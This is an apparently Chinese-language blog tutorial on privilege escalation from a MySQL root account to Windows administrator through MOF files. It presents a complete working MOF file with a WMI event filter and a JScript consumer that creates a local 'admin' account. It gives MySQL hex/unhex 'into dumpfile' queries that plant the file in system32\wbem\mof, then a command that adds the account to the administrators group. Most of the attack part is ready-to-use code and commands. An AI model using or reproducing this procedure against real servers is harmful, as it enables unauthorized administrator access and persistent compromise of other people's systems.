內網滲透之——mysql數據庫提權之——MOF提權

前題

只能在windows使用,應用範圍:2008以下的系統,Mysql5.7以下(--secure_file_prive:此配置寫文件不限制)

介紹

mof是windows系統的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"託管對象格式"其作用是每隔五秒就會去監控進程創建和死亡

條件

mysql服務器配置允許root用戶遠程連接

原理

當mysql有了root權限以後,就可使用root權限去上傳一個mof,隔一定時間以後這個mof就會被執行,這個mof當中可以寫一段vbs腳本,這個vbs內容是cmd的添加管理員用戶的命令
mof文件通過Mofcomp.exe編譯執行

提權過程

1.遠程連接數據庫
命令行連接:mysql -h 要連接的mysql服務器ip -u root -p
Navicat連接(此處使用): 點擊連接,輸入要連接的mysql服務器ip,用戶爲root,密碼數據庫密碼

2.編寫mof文件

nullevt.mof文件內容如下,之後在net.exe user admin admin /add處替換命令即可

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

3. 上傳mof文件

上傳路徑:C:\WINDOWS\system32\wbem\mof

上傳:直接上傳沒有權限,可通過mysql語句寫入
3.1 以二進制讀取mof文件內容,並將結果轉爲十六進制

select hex(load_file("C:\\Users\\Administrator\\Desktop\\nullevt.mof")) into dumpfile'C:\\Users\\Administrator\\Desktop\\333.txt' ;


3.2 Navicat新建查詢處輸入以下命令,111替換爲剛剛的16進制字符串

select unhex ('111') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\nullevt.mof';

4.過一會mof文件裏的命令就會自動執行,生成一個admin用戶

5.修改mof文件,替換以下命令,重複步驟3上傳,將admin添加到管理員組
mof替換命令:net.exe localgroup administrators admin /add

6.此處手動查看admin用戶狀態,進行結果檢驗

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章